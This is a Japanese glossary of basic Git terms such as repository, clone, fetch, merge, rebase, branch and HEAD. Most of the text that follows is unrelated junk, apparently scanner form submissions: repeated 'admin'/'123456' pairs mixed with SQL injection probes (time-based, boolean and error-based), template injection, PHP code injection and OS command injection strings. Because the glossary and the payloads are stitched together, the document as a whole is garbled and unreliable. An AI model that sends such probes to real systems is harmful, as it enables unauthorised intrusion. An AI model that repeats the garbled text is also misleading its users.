Gitで使用する基本用語をまとめています。
実際に動かしてみることで理解できる部分も多いのではないかと思いますね(・ω・)ノ
Gitで使用される基本用語をまとめました。
と言っても、学習中に調べたり理解した内容をまとめているだけなので間違っている部分もあるかと思います。このサイトが少しでも参考になるのであれば幸いです。(・ω・)ノ
リポジトリ
ファイルやディレクトなどの状態・変更履歴を管理する場所のこと。
ベアリポジトリ
ワークツリーを持っておらず、マージやチェックアウトができないリポジトリのこと。
ノンベアリポジトリ
ワークツリーを持っており、マージやチェックアウトができるリポジトリのこと。
リモートリポジトリ
サーバー上にあるリポジトリで、基本的にベアリポジトリで運用します。複数人での開発を行う場合に使われます。
ローカルリポジトリ
各自のPC上にあるリポジトリで、基本的にノンベアリポジトリで運用します。
クローン
サーバー上のリポジトリをコピーして、ローカルリポジトリを作成します。
フォーク
サーバー上のリポジトリをコピーして、リモートリポジトリを作成します。
ワークツリー
Gitの管理下にあり、履歴管理を行いたいファイルやディレクトリがある場所のこと。
インデックス
コミットしたいファイルやフォルダを登録するところです。
ステージングエリア
インデックスのことを、ステージングエリアとも呼びます。
コミット
インデックスに登録してある情報をローカルリポジトリに反映します。
コミットではリモートリポジトリに情報が反映されません。
リセット
特定のコミットの状態まで戻します。
フェッチ
最新の変更履歴情報をリモートリポジトリから取得します。
更新されるのは、ローカルリポジトリ内にあるリポートリポジトリの情報です。
マージ
異なるブランチの変更内容を一つにまとめることができます。
お互いの変更履歴を残します。
リベース
異なるブランチの変更内容を一つにまとめることができます。
変更履歴が片方に集約されてしまいます。
プル
リモートリポジトリの内容をローカルリポジトリに反映します。
フェッチと異なり、ローカルリポジトリが変更されます。
フェッチとマージの両方の処理を行います。
プルリクエスト
フォークを行ったリポジトリでの変更履歴を、フォーク元のリポジトリへ反映するように依頼します。
プッシュ
ローカルリポジトリで行った変更を、リモートリポジトリへ反映させます。
コンフリクト
マージする際に同じ箇所が変更されていて、そのままでは自動でマージができない状態のこと。
ブランチ
管理している履歴の流れを分岐すること。
履歴を分岐することで、複数の履歴を並列で管理することができるようになる。
チェックアウト
現在作業しているブランチから、他のブランチに切り替えること。
リモート追跡ブランチ
ローカルリポジトリにあって、他のリポジトリの状態を追跡するブランチのこと。
例えば、origin/masterはリモートリポジトリoriginのmasterブランチを追っている追跡ブランチとなります。
リモートブランチとも呼ばれるそうです。
上流ブランチ
引数なしでプルした際に対象となるブランチのこと。
例えば、masterブランチをチェックアウトし、プルを行うと自動的にorigin/masterの変更情報を取得します。ここで、origin/masterはローカルブランチmasterの上流ブランチとなります。
ローカルブランチmasterは、origin/masterから作られているので、上流ブランチとは親子の関係に近いのかもしれません。
ヘッド
現在使用しているブランチのコミット情報の最新地点のこと。
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin"and"d"="c
123456
admin"and"y"="y
123456
admin'and'o'='u
123456
admin'and'c'='c
123456
admin
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)='g
admin
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('c',0)='c
admin
123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('v',2)
admin
123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('g',0)
admin
123456'and(select+1)>0waitfor/**/delay'0:0:2
admin
123456'and(select+1)>0waitfor/**/delay'0:0:0
admin
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
admin
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
admin
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
admin
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
admin
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
admin
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
admin
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
admin
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
admin
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
admin
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
admin
(select*from(select+sleep(2)union/**/select+1)a)
admin
(select*from(select+sleep(0)union/**/select+1)a)
admin
123456"and"v"="w
admin
123456"and"o"="o
admin
123456'and'g'='q
admin
123456'and'y'='y
admin
123456/**/and+4=8
admin
123456/**/and+3=3
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin'"\(
123456
admin
123456
admin鎈'"\(
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456'"\(
admin
123456
admin
123456鎈'"\(
admin
123456
admin
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1867152746')))>'0
admin
123456
admin
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1251069218')))
admin
123456
admin
123456/**/and/**/cast(md5('1389937963')as/**/int)>0
admin
123456
<%- 898720823+861792621 %>
123456
admin
123456'and(select'1'from/**/cast(md5(1358691916)as/**/int))>'0
admin
123456
admin
extractvalue(1,concat(char(126),md5(1799955316)))
admin
123456
${(899523097+929080046)?c}
123456
admin
123456"and/**/extractvalue(1,concat(char(126),md5(1079666730)))and"
admin
123456
${803115901+924013886}
123456
admin
123456
admin
123456'and/**/extractvalue(1,concat(char(126),md5(1495267368)))and'
/*1*/{{873233831+815461013}}
123456
admin
123456
admin
123456
admin
<%- 863111360+871679274 %>
admin
123456
admin
123456
admin
123456
admin
#set($c=827537302+805018344)${c}$c
admin
123456
admin
123456
admin
${(908822916+831402769)?c}
admin
123456
admin
123456
admin
123456
admin
${897570746+998766528}
admin
123456
admin
123456
admin
123456
admin
/*1*/{{911713034+971367065}}
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
'-var_dump(md5(363143138))-'
admin
123456
admin
123456
admin
${822311093+974238037}
admin
123456
admin
123456
admin
${@var_dump(md5(292616315))};
expr 936159169 + 984190093
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
${858987695+861411782}
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
expr 811609233 + 872691546
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456&set /A 919756519+868834177
admin
123456
admin
123456
admin
123456$(expr 926440900 + 975737616)
'-var_dump(md5(891644338))-'
123456
admin
123456
admin
123456
admin
123456|expr 806602718 + 924019318
${@var_dump(md5(994682680))};
123456
admin
123456
admin
123456
admin
123456
expr 976299325 + 969539906
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin"and"x"="w
123456
admin"and"e"="e
123456
admin'and'w'='s
123456
admin'and'l'='l
123456
admin
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('w',2)='w
admin
123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('b',0)='b
admin
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('r',2)
admin
123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('m',0)
admin
123456'and(select+1)>0waitfor/**/delay'0:0:2
admin
123456'and(select+1)>0waitfor/**/delay'0:0:0
admin
123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/
admin
123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/
admin
123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0
admin
123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0
admin
123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/
admin
123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/
admin
123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="
admin
123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="
admin
123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='
admin
123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='
admin
(select*from(select+sleep(2)union/**/select+1)a)
admin
(select*from(select+sleep(0)union/**/select+1)a)
admin
123456"and"x"="i
admin
123456"and"a"="a
admin
123456'and'l'='v
admin
123456'and't'='t
admin
123456/**/and+3=8
admin
123456/**/and+3=3
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456'"\(
admin
123456
admin
123456鎈'"\(
admin
123456
admin
123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1592857687')))>'0
admin
123456
admin
123456
admin
convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1969916352')))
admin
123456
admin
123456/**/and/**/cast(md5('1182243752')as/**/int)>0
admin
123456
admin
123456'and(select'1'from/**/cast(md5(1748095007)as/**/int))>'0
admin
123456
admin
extractvalue(1,concat(char(126),md5(1468684694)))
admin
123456
admin
123456"and/**/extractvalue(1,concat(char(126),md5(1465363512)))and"
admin
123456
admin
123456'and/**/extractvalue(1,concat(char(126),md5(1585379698)))and'
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
expr 940177340 + 877386761
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
expr 880805938 + 827123631
admin
123456
<%- 825471413+844100160 %>
123456
admin
123456
admin
123456&set /A 829043896+821491154
admin
123456
admin
123456
admin
123456$(expr 856860699 + 960450284)
admin
123456
${(865395292+983319601)?c}
123456
admin
123456
admin
123456|expr 855208747 + 913886532
${991047752+883096302}
123456
admin'"\(
123456
admin
123456
admin
123456
expr 865083592 + 904877326
/*1*/{{808694327+816079300}}
123456
admin鎈'"\(
123456
admin
123456
admin
123456
admin
123456
admin
<%- 872010811+901673457 %>
admin
123456
admin
123456
admin
123456
admin
#set($c=971131418+867549743)${c}$c
'-var_dump(md5(166446427))-'
123456
admin
123456
admin
123456
admin
${(880735636+947843329)?c}
${@var_dump(md5(312839633))};
123456
admin
123456
admin
123456
admin
${874933185+916443646}
admin
'-var_dump(md5(988707082))-'
admin
123456
admin
123456
admin
/*1*/{{889342138+874598626}}
admin
123456
admin
${@var_dump(md5(363207775))};
admin
123456
admin
123456
admin
123456
${801245815+922984640}
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
${889402490+815102699}
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456
admin
123456